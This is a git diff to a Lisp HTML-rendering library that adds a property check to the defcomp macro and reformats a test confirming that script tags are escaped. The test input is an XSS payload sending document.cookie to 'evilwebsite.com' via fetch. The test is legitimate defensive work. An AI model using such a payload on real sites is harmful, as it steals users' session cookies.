diff --git a/src/defhsx.lisp b/src/defhsx.lisp
index ebc45de..fe84d3a 100644
--- a/src/defhsx.lisp
+++ b/src/defhsx.lisp
@@ -37,6 +37,10 @@
      (defhsx ,name ,(make-keyword name))))
 
 (defmacro defcomp (name props &body body)
+  (unless (or (null props)
+              (member '&key props)
+              (member '&rest props))
+    (error "Component properties must be declared with either &key, &rest, or both."))
   (let ((%name (symbolicate '% name)))
     `(eval-when (:compile-toplevel :load-toplevel :execute)
        (defun ,%name ,props
diff --git a/tests/renderer.lisp b/tests/renderer.lisp
index 8723521..233c769 100644
--- a/tests/renderer.lisp
+++ b/tests/renderer.lisp
@@ -64,12 +64,9 @@
                 :pretty t))))
 
 (test escaping-tag
-  (is (string= #M"<div>
-                 \  &lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;
-                 \</div>"
+  (is (string= "<div>&lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;</div>"
                (render-to-string
-                (div "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>" )
-                :pretty t))))
+                (div "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>")))))
 
 (test non-escaping-tag
   (is (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>"